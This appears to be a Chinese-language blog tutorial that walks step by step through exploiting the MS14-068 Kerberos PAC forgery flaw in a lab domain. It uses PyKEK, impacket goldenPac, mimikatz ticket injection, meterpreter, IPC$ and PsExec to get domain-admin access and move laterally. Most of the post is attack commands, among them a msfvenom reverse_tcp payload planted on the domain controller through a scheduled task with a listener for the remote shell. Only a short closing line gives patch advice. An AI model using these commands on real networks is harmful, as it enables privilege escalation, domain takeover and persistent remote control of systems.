MS14-068漏洞提权及横向移动
MS14-068漏洞提权及横向移动

MS14-068漏洞提权及横向移动

MS14-068漏洞说明

kerberos在域中是做交互身份认证,在客户端访问服务时需要对客户端做权限验证,所以微软引入了PAC(特权属性证书)但是由于kerberos KDC没有对PAC证书合法性做验证,这样就允许了攻击者伪造Kerberos服务票据(ST)的特权属性证书(PAC),从而可能提升权限至域管理员级别,利用MS14-068漏洞可达到远程权限提升的效果。

MS14-068漏洞利用条件

  • 域控制器没有修复MS14-068漏洞(未安装KB3011780补丁)
  • 攻击者登录的终端可以访问域控制器

MS14-068漏洞利用方式

MS14-068漏洞复现涉及工具和命令

----------------------------MS14-068漏洞伪造票据命令----------------------------------
// impacket工具包lookupsid查看用户suid
impacket-lookupsid <domain>/<user>:<password>@<域控ip> -domain-sids
whoami /all
// 伪造具有高权限PAC票据,该脚本只能在windows中执行
python27 ms14-068.py -u <username>@<domain> -p <passwd> -s <user-sid> -d <dc-ip>

// impacket工具包goldenPac实现自动化利用
impacket-goldenPac <domain>/<username>:<password>@<domain contraller> -dc-ip <domain contraller ip> -target-ip <target ip>

----------------------------mimikatz操作kerberos票据----------------------------------

// 清空票据缓存
mimikatz > kerberos::purge
// 列出缓存中所有票据
mimikatz > kerberos::list
// 注入.ccache类型票据
mimikatz > kerberos::ptc 票据路径
// 注入.kirbi类型票据
mimikatz > kerberos::ptt 票据路径
// 读取.ccache格式的缓存票据,并将票据以.kirbi格式转出
mimikatz > kerberos::clist path\to\ticket.ccache /export

--------------------------------远控常用命令-----------------------------------
// meterpreter 上传文件
meterpreter > upload path/to/file
// 进入cmd命令行
meterpreter > shell
// 转换编码格式解决中文乱码问题
shell > chcp 65001
// 建立ipc$管道,在没有票据是需要输入明文密码
net use \\<domain-name/ip>\ipc$  [/user:<user> <passwd>]
// 查看远程计算机文件
dir \\<domain-name/ip>\path
// PsExec连接域控并执行cmd
PsExec.exe \\<domain-name> cmd

--------------------------------kerberos票据格式转换-----------------------------------
// kali自带impacket工具包转换格式
impacket-ticketConverter path/to/ticket.ccache ticket.kirbi
// 读取.ccache格式的缓存票据,并将票据以.kirbi格式转出
mimikatz > kerberos::clist path\to\ticket.ccache /export


--------------------------------kiwi常用命令------------------------------------------

注:meterspliot默认加载32位kiwi,在64位机器中使用kiwi要先将远控迁移进一个x64进程中
// 查看所有进程
meterpreter > ps
// 迁移进程
meterpreter > migrate <pid>
// meterpreter载入kiwi插件[先进入meterpreter]
meterpreter > load kiwi
// 加载票据
meterpreter > kerberos_ticket_use path/to/ticket
// 查看票据
meterpreter > kerberos_ticket_list
// 清空票据
meterpreter > kerberos_ticket_purge
// 使用mimikatz命令
meterpreter > kiwi_cmd <mimikatz-cmd>

MS14-068漏洞复现流程

mimikatz加PyKEK利用漏洞

实验环境:

  • 域控 yk.dms.com[10.10.10.2]
  • 受控制低权限windows机器web01.dms.com[10.10.10.110]
  • 由于受控制机器web01中没有python2.7环境,所有这里用windows宿主机伪造票据

获取用户SID

方式一.在受控制机器上执行whoami /all

方式二.使用Impacket工具包中的lookupsid.py获取普通用户的SID

lookupsid.py在kali的该路径下/usr/share/doc/python3-impacket/examples/lookupsid.py

// 使用lookupsid.py查看用户suid
impacket-lookupsid <domain>/<user>:<password>@<域控ip> -domain-sids

之后用Domain SID + 用户域内的ID就可以获得用户的SID

DMS\vagary 的 SID :S-1-5-21-4027518213-1559650433-916302275-1000

利用漏洞伪造票据

使用PyKEK脚本伪造具有域管理员权限的用户票据

mubix/pykek: Kerberos Exploitation Kit

脚本只能运行在windows下python2.7环境,kali的python库中没有md4哈希函数

C:\Python27\python.exe ms14-068.py -u vagary@dms.com -p 123.com -s S-1-5-21-4027518213-1559650433-916302275-1000 -d 10.10.10.2

可以看到成功生成了TGT票据

使用mimikatz将伪造的票据注入到内存中,就可以用该票据访问域控了

//打开mimikatz清空系统中kerberos票据缓存
kerberos::purge
//列出所有票据检查是否清楚成功
kerberos::list
//注入伪造好的特权票据
kerberos::ptc 票据路径

访问域控的C盘文件验证是否提权成功

控制域控

尝试用PsExec.exe连接域控在域控上执行命令

PsExec 是一种轻量级 telnet 替代品,可让你在其他系统上执行进程,并为控制台应用程序提供完整交互性,而无需手动安装客户端软件。 PsExec 最强大的用途包括在远程系统上启动交互式命令提示符,以及 IpConfig 等远程启用工具,否则无法显示有关远程系统的信息。

PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。

下载地址如下:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec

建立ipc$管道

IPC是一个特殊的共享,它允许进程间通信和文件共享,通常用于远程管理。

// 建立ipc$管道,由于这里通过伪造票据我们获得了域控yk.dms.com的权限,可以免密码建立ipc$管道
net use \\yk.dms.com\ipc$
// 获取明文密码的情况下建立ipc$管道
net use \\ip\ipc$  /user:administrator "password" [/domain]

PsExec.exe获取域控shell

//连接域控并执行cmd
PsExec.exe \\yk.dms.com cmd

kali metasploit中利用漏洞

在不能访问远程桌面时可以用如下方法

使用Impacket工具包中的lookupsid.py获取普通用户的SID

lookupsid.py在kali的该路径下/usr/share/doc/python3-impacket/examples/lookupsid.py

// 使用lookupsid.py查看用户suid
impacket-lookupsid <domain>/<user>:<password>@<域控ip> -domain-sids

之后用Domain SID + 用户域内的ID就可以获得用户的SID

DMS\vagary 的 SID :S-1-5-21-4027518213-1559650433-916302275-1000

使用metasploit中的auxiliary/admin/kerberos/ms14_068_kerberos_checksum模块利用漏洞

这里用该模块复现失败了未找到解决方法,后续找到解决方法会跟进

// 进入msf控制台

msfconsole

// 选择攻击模块

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

// 查看选项

optionsBashCopyMore options

设置各选项

// 设置域名

set domain dms.com

// 设置域用户

set username vagary

// 设置域用户密码

set password 123.com

// 设置域用户SID

set user_sid S-1-5-21-4027518213-1559650433-916302275-1000

// 设置域控

set rhost 10.10.10.2Plain textCopyMore options

由于msf识别不了bin文件要将该文件用mimikatz进行格式转化

// 导出kirbi格式的文件

kerberos::client “路径” /exportPlain textCopyMore options

将转换后的文件放入kali,然后用metepreter上传进受控制机器

// 加载msf中的kiwi插件

meterpreter > load kiwi

// 载入票据

meterpreter > kerberos_ticket_use <path/to/ticket>Plain textCopyMore options

但是载入失败了

利用auxiliary/admin/kerberos/ms14_068_kerberos_checksum模块的方式复现失败了,这里上传mimikatz手动利用

利用漏洞伪造票据

使用PyKEK脚本伪造具有域管理员权限的用户票据

mubix/pykek: Kerberos Exploitation Kit

脚本只能运行在windows下python2.7环境,kali的python库中没有md4哈希函数

C:\Python27\python.exe ms14-068.py -u vagary@dms.com -p 123.com -s S-1-5-21-4027518213-1559650433-916302275-1000 -d 10.10.10.2Plain textCopyMore options

可以看到成功生成了TGT票据,并将该票据上传到kali中

// 上传文件
meterpreter > upload mimikatz.zip
// 上传pykek生成的票据
meterpreter > upload TGT_vagary@dms.com.ccache
// 进入cmd命令行
meterpreter > shell
// 转换编码格式解决中文乱码问题
shell > chcp 65001

进入mimikatz加载票据(在正常载入票据时可以用meterpreter中kiwi插件载入票据,不过由于这里生成的票据是缓存格式,kali无法识别所以上传mimikatz来实现票据载入,也可以用impacket-ticketConverter工具转换,或者用mimikatz导出来将票据从缓存格式转换成票据格式)

// 进入靶机中mimikatz
mimikatz
// 清空当前票据缓存[先进入mimikatz]
mimikatz > kerberos::purge
// 载入票据缓存文件[先进入mimikatz]
mimikatz > kerberos::ptc TGT_vagary@dms.com.ccache

// 也可以用metersploit的kiwi模块,kiwi是meterpreter操作mimikatz的一个接口,不过需要将生成的票据格式进行转换

// 读取.ccache格式的缓存票据,并将票据以.kirbi格式转出(这一步是在windows攻击机上进行的)
mimikatz > kerberos::clist path\to\ticket.ccache /export
// kali自带impacket工具包转换格式
impacket-ticketConverter path/to/ticket.ccache ticket.kirbi

// meterspliot默认加载32位kiwi在64位机器中要先将远控迁移进一个x64进程中
// 查看所有进程
meterpreter > ps
// 迁移进程
meterpreter > migrate <pid>
// meterpreter载入kiwi插件[先进入meterpreter]
meterpreter > load kiwi
// 加载票据
meterpreter > kerberos_ticket_use path/to/ticket

由于普通用户不能访问域控,可以通过查看域控C盘来判断提权是否生效

// 查看域控C盘
dir \\yk.dms.com\$c

建立ipc$管道

// 查看共享
net use
// 建立ipc$管道
net use \\yk.dms.com\$ipc

传入新生成的木马

// 在msfvenom中生成远控程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=7778 -f exe -o yk.exe
// 将远控程序复制进远程计算机c盘
copy yk_shell.exe \\yk.dms.com\c$
// 查看远程计算机文件夹下文件
dir \\yk.dms.com\c$

计划任务执行木马并监听反弹shell

// 计划任务执行远控程序
at \\yk.dms.com <time> "c:\yk_shell.exe"
// 将meterpreter放入后台,bg是background的简写
meterpreter > bg 
// 在msf中使用监听模块
msf > use exploit/multi/hander
// 查看配置选项
msf > options 
// 设置payload类型
msf > set payload windows/x64/meterpreter/reverse_tcp
// 设置监听主机
msf > set lhost 0.0.0.0
// 设置监听端口
msf > set lport 7778
// 运行监听模块
msf > run

impacket-goldenPac漏洞利用

实验环境:

  • 域控:yk.dms.com[10.10.10.2]
  • 域用户/密码:vagary/123.com
  • 域:dms.com
// impacket工具包实现自动化利用
impacket-goldenPac <domain>/<username>:<password>@<domain contraller> -dc-ip <domain contraller ip> -target-ip <target ip>

MS14-068漏洞防范建议

安装补丁:如果自动更新不可用或需要立即采取行动,可以手动下载并安装针对MS14-068漏洞的补丁KB3011780,具体下载地址可以在微软官方网站上找到

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注